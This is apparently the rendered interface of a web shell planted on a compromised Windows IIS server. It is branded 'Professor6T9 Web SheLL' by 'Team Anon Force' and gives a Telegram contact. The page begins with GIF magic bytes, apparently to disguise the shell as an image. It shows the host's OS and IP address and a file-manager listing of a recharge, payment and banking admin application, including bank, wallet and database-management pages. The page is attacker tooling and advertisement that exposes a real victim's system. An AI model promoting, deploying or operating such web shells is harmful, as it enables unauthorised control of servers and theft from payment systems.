GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Windows NT WEB-23 10.0 build 17763 (Windows Server 2016) i586
 Microsoft-IIS/10.0
 103.118.16.173
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 0/0 0777 2016-06-29 09:12:50
.. dir - 0/0 0777 2024-08-20 01:19:13
ASM.aspx text/html 4.52 KB 0/0 0666 2016-01-31 09:53:01
AccountSummary.aspx text/html 3.68 KB 0/0 0666 2016-01-31 09:52:59
AddDthservice.aspx text/html 4.35 KB 0/0 0666 2016-01-31 09:53:00
AddProduct.aspx text/html 5.84 KB 0/0 0666 2016-01-31 09:53:00
AddService.aspx text/html 21.5 KB 0/0 0666 2016-01-31 09:53:01
AddSubService.aspx text/html 5.42 KB 0/0 0666 2016-01-31 09:53:00
Admin.master text/html 11.3 KB 0/0 0666 2016-06-29 09:12:22
Admin.master.cs text/plain 1.99 KB 0/0 0666 2016-06-29 09:12:22
AdminComission.aspx text/plain 3.34 KB 0/0 0666 2016-06-29 10:38:05
AdminComission.aspx.cs text/plain 2.23 KB 0/0 0666 2016-06-29 10:38:04
Bank.aspx text/plain 5.58 KB 0/0 0666 2016-01-31 09:53:02
BankDetails.aspx text/plain 7.83 KB 0/0 0666 2016-01-31 09:53:02
BasicDatabaseManagement.aspx text/plain 12.09 KB 0/0 0666 2016-05-15 11:48:20
BasicDatabaseManagement.aspx.cs text/plain 14.85 KB 0/0 0666 2016-05-15 11:48:21
City.aspx text/plain 6.26 KB 0/0 0666 2016-01-31 09:53:03
DEBITSUMMARY.aspx text/html 8.16 KB 0/0 0666 2016-01-31 09:53:04
Default.aspx text/html 6.55 KB 0/0 0666 2016-01-31 09:53:04
Defaultnew.aspx text/html 435 B 0/0 0666 2016-01-31 09:53:04
Handler.ashx text/plain 1.07 KB 0/0 0666 2016-01-31 09:53:05
ImageHandler.ashx text/plain 1.07 KB 0/0 0666 2016-01-31 09:53:05
Md.aspx text/html 5.14 KB 0/0 0666 2016-01-31 09:53:05
Operators.aspx text/plain 9.15 KB 0/0 0666 2016-01-31 09:53:05
OperatorsUpdate.aspx text/plain 4.16 KB 0/0 0666 2016-01-31 09:53:05
Profile.aspx text/plain 4.25 KB 0/0 0666 2016-01-31 09:53:06
Purchaseorder.aspx text/plain 5 KB 0/0 0666 2016-01-31 09:53:06
Reciept.aspx text/html 2.26 KB 0/0 0666 2016-01-31 09:53:06
Refund.aspx text/html 5.15 KB 0/0 0666 2016-01-31 09:53:06
SaleDownline.aspx text/html 4.33 KB 0/0 0666 2016-01-31 09:53:07
SchemePriority.aspx text/html 3.45 KB 0/0 0666 2016-01-31 09:53:07
SearchUsers.aspx text/plain 2.69 KB 0/0 0666 2016-01-31 09:53:07
ServiceCharge.aspx text/html 16.34 KB 0/0 0666 2016-01-31 09:53:08
State.aspx text/plain 7.71 KB 0/0 0666 2016-01-31 09:53:08
SurchargeUpdate1.aspx text/plain 2.54 KB 0/0 0666 2016-01-31 09:53:08
Transaction Summary.aspx text/html 8.95 KB 0/0 0666 2016-01-31 09:53:08
UpdateCode.aspx text/html 6.98 KB 0/0 0666 2016-01-31 09:53:09
Users.aspx text/plain 2.37 KB 0/0 0666 2016-01-31 09:53:09
ZBP.aspx text/html 4.88 KB 0/0 0666 2016-01-31 09:53:10
ad.aspx text/html 4.77 KB 0/0 0666 2016-01-31 09:52:59
addCC.aspx text/plain 6.65 KB 0/0 0666 2016-01-31 09:53:00
addFOS.aspx text/plain 5.72 KB 0/0 0666 2016-01-31 09:53:00
addRetailer.aspx text/html 8.17 KB 0/0 0666 2016-01-31 09:53:00
addad.aspx text/plain 12.78 KB 0/0 0666 2016-01-31 09:52:59
addasm.aspx text/plain 6.65 KB 0/0 0666 2016-01-31 09:52:59
addmd.aspx text/plain 13.64 KB 0/0 0666 2016-01-31 09:53:00
addzbp.aspx text/plain 11.92 KB 0/0 0666 2016-01-31 09:53:01
apiBalance.aspx text/html 1.41 KB 0/0 0666 2016-01-31 09:53:01
apiForward.aspx text/plain 3.32 KB 0/0 0666 2016-01-31 09:53:01
apiForwardscheme.aspx text/plain 3.95 KB 0/0 0666 2016-01-31 09:53:01
api_sales_report.aspx text/plain 2.22 KB 0/0 0666 2016-01-31 09:53:01
balance_report.aspx text/plain 4.44 KB 0/0 0666 2016-01-31 09:53:02
brand.aspx text/plain 3.28 KB 0/0 0666 2016-01-31 09:53:02
browseTickets.aspx text/plain 8.56 KB 0/0 0666 2016-01-31 09:53:02
capbalance.aspx text/plain 3.54 KB 0/0 0666 2016-01-31 09:53:02
cc.aspx text/html 4.52 KB 0/0 0666 2016-01-31 09:53:02
changePassword.aspx text/plain 5.54 KB 0/0 0666 2016-01-31 09:53:03
commission.aspx text/plain 4.58 KB 0/0 0666 2016-01-31 09:53:03
crdr.aspx text/html 20.51 KB 0/0 0666 2016-01-31 09:53:03
crdr1.aspx text/html 19.31 KB 0/0 0666 2016-01-31 09:53:03
crdrc.aspx text/html 20.37 KB 0/0 0666 2016-01-31 09:53:03
deactivate.aspx text/html 20.84 KB 0/0 0666 2016-01-31 09:53:03
delete.png image/png 25.96 KB 0/0 0666 2016-01-31 09:53:04
dr.aspx text/html 12.86 KB 0/0 0666 2016-01-31 09:53:04
fos.aspx text/html 4.77 KB 0/0 0666 2016-01-31 09:53:04
get.aspx text/html 585 B 0/0 0666 2016-01-31 09:53:04
liverechargeHistory.aspx text/plain 4.01 KB 0/0 0666 2016-01-31 09:53:05
new_icon.gif image/gif 866 B 0/0 0666 2016-06-29 09:12:51
paymentHistory.aspx text/plain 2.5 KB 0/0 0666 2016-01-31 09:53:05
paymentRequest.aspx text/plain 2.84 KB 0/0 0666 2016-01-31 09:53:05
pendingRecharges.aspx text/html 9.38 KB 0/0 0666 2016-01-31 09:53:06
rechargeApi.aspx text/plain 7.43 KB 0/0 0666 2016-06-29 09:10:06
rechargeApi.aspx.cs text/plain 7.72 KB 0/0 0666 2016-06-29 09:10:06
rechargeHistory.aspx text/html 13.74 KB 0/0 0666 2016-01-31 09:53:06
retailer.aspx text/html 4.92 KB 0/0 0666 2016-01-31 09:53:06
retailer1.aspx text/plain 4.49 KB 0/0 0666 2016-01-31 09:53:07
scheme.aspx text/plain 8.27 KB 0/0 0666 2016-01-31 09:53:07
searchTrans.aspx text/html 6.17 KB 0/0 0666 2016-01-31 09:53:07
sendSMS.aspx text/plain 3.64 KB 0/0 0666 2016-01-31 09:53:07
smsApi.aspx text/plain 8.72 KB 0/0 0666 2016-01-31 09:53:08
smsussd.aspx text/plain 3.84 KB 0/0 0666 2016-01-31 09:53:08
statistics.aspx text/html 2.33 KB 0/0 0666 2016-01-31 09:53:08
statisticsAdmin.aspx text/html 3.81 KB 0/0 0666 2016-06-30 08:35:45
statisticsAdmin.aspx.cs text/html 9.18 KB 0/0 0666 2016-06-30 08:35:44
transactions.aspx text/html 17.43 KB 0/0 0666 2016-01-31 09:53:09
transfer_user.aspx text/plain 2.79 KB 0/0 0666 2016-01-31 09:53:09
updateUsers.aspx text/plain 4.23 KB 0/0 0666 2016-01-31 09:53:09
updateparent.aspx text/html 6.67 KB 0/0 0666 2016-01-31 09:53:09
view_child.aspx text/html 7.54 KB 0/0 0666 2016-01-31 09:53:09
view_scheme.aspx text/html 2.09 KB 0/0 0666 2016-01-31 09:53:09
virtual balance.aspx text/plain 9.33 KB 0/0 0666 2016-01-31 09:53:10
walletReport.aspx text/plain 5.04 KB 0/0 0666 2016-01-31 09:53:10
© Professor6T9